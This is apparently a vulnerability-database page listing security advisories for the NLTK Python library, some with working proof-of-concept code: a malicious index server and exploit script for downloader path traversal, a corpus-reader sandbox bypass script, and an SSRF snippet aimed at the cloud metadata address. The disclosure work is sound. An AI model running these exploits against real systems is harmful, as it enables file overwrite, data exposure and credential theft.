Python/nltk/3.2.1


Natural Language Toolkit

https://pypi.org/project/nltk
Apache-2.0

70 Security Vulnerabilities

Duplicate Advisory: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions

Published date: 2026-08-26T18:31:54Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rrv8-h7p8-rx55. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.0 contain a regular expression denial of service vulnerability in Text.findall() and TokenSearcher.findall() methods that accept user-supplied regular expressions without validation or timeout. Attackers can supply crafted regex patterns that cause catastrophic backtracking, resulting in indefinite CPU saturation and denial of service to all users of the Python process.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK Vulnerable to REDoS

Published date: 2021-09-29T17:14:53Z
CVE: CVE-2021-3828
Links:

The nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [_read_comparison_block()(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file nltk/corpus/reader/comparative_sents.py may cause an application to consume an excessive amount of CPU.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3"]
Secure versions: []

NLTK: Corpus Reader Sandbox Bypass

Published date: 2026-09-08T16:57:08Z
CVE: CVE-2026-79674
Links:

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

  • Product: NLTK
  • Asset / component: nltk.corpus.reader constructors
  • Version tested: 3.10.2
  • Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk
  • Environment used for verification: Python 3.13.14

Vulnerability Details

  • Vulnerability class: path sandbox bypass / external control of file path
  • Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
  • Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root)
  • Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec
  • Root affected functions:
  • Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

if zipfile:
    root = ZipFilePathPointer(zipfile, zipentry)
else:
    root = FileSystemPathPointer(root)

with open(path) as lin_file:
    ...

self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.

#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""

from __future__ import annotations

import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch

try:
    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
    here = pathlib.Path(__file__).resolve()
    for base in (here.parent, *here.parents):
        if (base / "nltk").is_dir() and (base / "setup.py").exists():
            sys.path.insert(0, str(base))
            break
    else:
        raise RuntimeError(
            "Could not import nltk. Run this script from an NLTK checkout root "
            "or from an environment where the current checkout is installed."
        )

    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader


def main() -> int:
    pathsec.ENFORCE = True

    with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
        with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
            with tempfile.TemporaryDirectory() as tmp:
                tmpdir = pathlib.Path(tmp)
                outside = tmpdir / "outside"
                outside.mkdir()

                blocked_file = outside / "blocked.txt"
                blocked_file.write_text("blocked", encoding="utf-8")

                control_target = str(blocked_file)
                try:
                    with pathsec.open(control_target, "rb"):
                        raise AssertionError(
                            "pathsec.open unexpectedly allowed control path"
                        )
                except PermissionError:
                    print("control:pathsec.open=blocked")

                lin_root = tmpdir / "lin"
                lin_root.mkdir()
                lin_file = lin_root / "simN.lsp"
                lin_file.write_text(
                    '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
                    encoding="utf-8",
                )

                opened = []
                real_open = builtins.open

                def tracking_open(*args, **kwargs):
                    opened.append(str(args[0]))
                    return real_open(*args, **kwargs)

                with patch("builtins.open", tracking_open):
                    LinThesaurusCorpusReader(str(lin_root))

                if any(p.endswith("simN.lsp") for p in opened):
                    print("lin:outside_root_open=success")
                else:
                    raise AssertionError("LinThesaurusCorpusReader did not open data")

                panlex_root = tmpdir / "panlex"
                panlex_root.mkdir()
                db_path = panlex_root / "db.sqlite"
                db = sqlite3.connect(db_path)
                cur = db.cursor()
                cur.execute("create table lv(uid text, lv text, lc text, tt text)")
                cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
                cur.execute("create table ex(ex int, tt text, lv text, uq int)")
                cur.execute(
                    "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
                )
                db.commit()
                db.close()

                reader = PanLexLiteCorpusReader(str(panlex_root))
                result = reader.language_varieties()
                if result == [("u1", "English")]:
                    print("panlex:language_varieties=success")
                else:
                    raise AssertionError("PanLexLiteCorpusReader did not load data")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Expected output:

control:pathsec.open=blocked
lin:outside_root_open=success
panlex:language_varieties=success

Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

  • Base Score: 7.5 (High)
  • Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure

Published date: 2026-09-02T15:39:39Z
CVE: CVE-2026-63311
Links:

There is an SSRF vulnerability in NLTK 3.9.4's network URL validation. The validatenetworkurl() function in nltk/pathsec.py fails open when DNS resolution returns an error.

The resolvehostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validatenetworkurl() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.

This means: 1. If DNS is temporarily unavailable, ALL SSRF protections are disabled 2. DNS rebinding attacks bypass the check after the LRU cache entry expires 3. In environments with unreliable resolvers, the protection is permanently bypassed

PoC: ```python import nltk.pathsec import unittest.mock

Simulate DNS failure

with unittest.mock.patch('socket.getaddrinfo', sideeffect=OSError('DNS unavailable')): # This SHOULD raise but doesn't -- fails open nltk.pathsec.validatenetwork_url('http://169.254.169.254/latest/meta-data/') # Returns normally, allowing SSRF to cloud metadata ```

The correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when resolvehostname() returns an empty list.

This is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.

Suggested fix: Add an explicit check after resolvehostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.

CVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD's SC:L.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)

Published date: 2026-08-25T18:31:52Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-m4rf-3fr8-xwx3. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.3 fails to validate JVM options passed through the per-call options parameter in the java() function, allowing attackers to inject dangerous JVM flags. Attackers can supply malicious options like -agentpath, -javaagent, or @argfile to Stanford wrapper classes to achieve arbitrary code execution.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks

Published date: 2026-08-27T18:32:30Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8mpw-7fpc-4gqj. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.3 contains a regular expression denial of service vulnerability in Pl196xCorpusReader that allows attackers to cause quadratic CPU consumption by supplying malformed TEI blocks with many unmatched opening tags. Attackers can exploit lazy regex patterns in the readblock method through public APIs like words() and taggedwords() to force repeated rescans and achieve near-quadratic runtime growth.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Published date: 2026-03-19T12:42:42Z
CVE: CVE-2026-33236
Links:

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(download_dir, info.filename) - Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True) - Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK bash pip install nltk

  2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server bash python3 malicious_server.py

Step 2: Run exploit script bash python3 exploit_vulnerability.py

Step 3: Verify results bash ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")

    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)

    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

Duplicate Advisory: Downloader.download follows hardlinks and overwrites outside-root files

Published date: 2026-08-27T18:32:30Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-f794-5jv7-7672. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 contain a filesystem containment bypass vulnerability in the Downloader.download and Downloader.incr_download methods that allows attackers to overwrite files outside the install root through pre-existing hardlinks. Attackers with write access to a shared downloader directory can create hardlinks pointing to outside-root files that are then overwritten during normal package extraction, mutating files outside the intended install tree.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: Uncontrolled search path when invoking the Graphviz 'dot' binary (CWE-426/CWE-427)

Published date: 2026-08-25T03:32:11Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-6hwm-xvph-95vm. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in dependencygraph.dot2img and AlignedSent.reprsvg_, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory. Attackers can exploit bare-name binary resolution on Windows via the current working directory or on Unix-like systems via relative PATH entries to execute their binary instead of the legitimate Graphviz tool.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: Stable FrameNet and NKJP readers parse outside-root XML

Published date: 2026-09-08T16:37:18Z
CVE: CVE-2026-62385
Links:

Summary

Published nltk==3.9.4 still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.

Details

  • Vulnerability type: Path traversal and trusted-root bypass
  • Affected component: FramenetCorpusReader.frame_by_name, FramenetCorpusReader.doc, FramenetCorpusReader.lu, NKJPCorpusReader.header
  • Affected versions: Published 3.9.4 reproduced. Current source v3.10.0-rc2 acted as a negative control and blocked the same payloads.
  • Patched versions: Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate.
  • Root cause: Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.

I confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.

PoC

Preconditions - The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.

Steps 1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root. 2. Feed unsafe selectors or poisoned index state into the relevant public stable 3.9.4 APIs. 3. Observe frame_by_name, doc, lu(...).exemplars, or header return parsed outside-root values. 4. Run the same payloads against current source and observe explicit path-safety rejections.

Minimal reproducible excerpt

framenet_frame_definition FRAME_LEAK
framenet_doc_text DOC_LEAK
framenet_lu_text LU_LEAK
nkjp_header_title HEADER_LEAK

Impact

Applications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.

Remediation

Keep these reader paths on the same root-confinement model as CorpusReader.open() and nltk.pathsec. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.

Resources

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection

Published date: 2026-09-08T15:27:55Z
CVE: CVE-2026-12259
Links:

NLTK's package downloader in nltk/downloader.py does not verify file integrity after download and before extraction.

The download flow at lines 789-825: 1. File is downloaded to a temp path via HTTP 2. os.replace(tmpfilepath, filepath) moves it to the final location (line 799) 3. Extraction begins via _unzipiter() (line 825)

Between steps 2 and 3, there is no SHA-256 verification. The checksum logic exists in pkgstatus() (lines 982-1015) but it is only used BEFORE download as a status check (is this package already installed and up-to-date?). It is never called after download to verify the file that was actually received.

Attack vectors: 1. MITM during HTTP download (NLTK downloads from http:// by default on some mirrors) 2. Race condition on shared filesystems (attacker replaces file between os.replace and unzipiter) 3. DNS poisoning redirecting to attacker-controlled server

PoC: ```python import nltk import unittest.mock import zipfile import io import os

Create a malicious zip that will be downloaded

maliciouszip = io.BytesIO() with zipfile.ZipFile(maliciouszip, 'w') as zf: zf.writestr('punkttab/tokenizers/punkttab/english.pickle', b'MALICIOUS PAYLOAD - attacker controlled content')

Patch urllib to return our malicious zip

with unittest.mock.patch('urllib.request.urlopen') as mockurlopen: mockresponse = unittest.mock.MagicMock() mockresponse.read.returnvalue = maliciouszip.getvalue() mockresponse.headers = {'Content-Length': str(len(maliciouszip.getvalue()))} mockurlopen.returnvalue = mockresponse

# Download proceeds, no integrity check catches the swap
# nltk.download('punkt_tab')  # Would install attacker payload

This is distinct from CVE-2024-39705 (pickle deserialization via download) and CVE-2025-14009 (zip-slip path traversal). Those address what happens AFTER extraction. This finding addresses the gap BEFORE extraction where integrity is never verified.

Suggested fix: After os.replace() and before _unzip_iter(), compute SHA-256 of the final file and compare against the expected checksum from the package index. Reject and delete the file if the hash does not match.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

NLTK has a Path Traversal issue

Published date: 2026-03-04T21:32:45Z
CVE: CVE-2026-0847
Links:

A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Published date: 2026-07-31T16:50:55Z
